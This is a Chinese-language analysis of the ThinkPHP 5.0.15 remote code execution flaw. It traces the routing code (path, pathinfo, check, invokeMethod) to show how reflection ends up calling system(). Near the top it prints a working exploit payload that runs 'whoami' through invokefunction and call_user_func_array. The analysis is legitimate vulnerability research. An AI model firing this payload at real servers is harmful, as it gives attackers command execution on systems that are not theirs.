演示版本5.0.15
最终是利用反射调用函数执进行RCE
application/config.php
下强制路由默认为false
从payload来看
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
运行框架,进入run
方法,跟进到routeCheck
跟进path
方法
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
默认$this->path
为null,所以进入了 if 分支 最后$this->path
为pathinfo()
方法的返回值,跟进pathinfo
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
因为$this->pathinfo
默认为null,所以进入下面判断是否有兼容模式参数,即我们get提交的s参数,将$_SERVER['PATH_INFO']
赋值为s参数,即我们的/模块/控制器/方法
最后return了我们的路由,回到上面的path
方法,最后return了
之后来到check方法
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace($depr, '|', $url);
if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
// 检测路由别名
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
// 检测域名部署
if ($checkDomain) {
self::checkDomain($request, $rules, $method);
}
// 检测URL绑定
$return = self::checkUrlBind($url, $rules, $depr);
if (false !== $return) {
return $return;
}
if ('|' != $url) {
$url = rtrim($url, '|');
}
$item = str_replace('|', '/', $url);
if (isset($rules[$item])) {
// 静态路由规则检测
$rule = $rules[$item];
if (true === $rule) {
$rule = self::getRouteExpress($item);
}
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
第一行进行了分隔符替换
从index/\think\app/invokefunction
变成了index|\think\app|invokefunction
,这里都没什么问题,来到强制路由检测
可以看到 如果$must
为真 也就是开启了强制路由的话,则会报错 我们的路由就无效。现在默认为false,我们可以继续跟进
获得了$dispath
的值
之后来到exec
方法
跟进exec
前面知道$dispatch['type']
为module
,跟进该方法,经过一些初始化操作后来到invokeMethod
方法
`
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
$method
为数组,进入分支,生成反射实例,self::bindParams
方法是为该实例绑定参数,也就是我们传入的参数
最后返回了一个数组
最后进入invokefunction
,继续绑定然后进行RCE,exec
方法最后返回了执行结果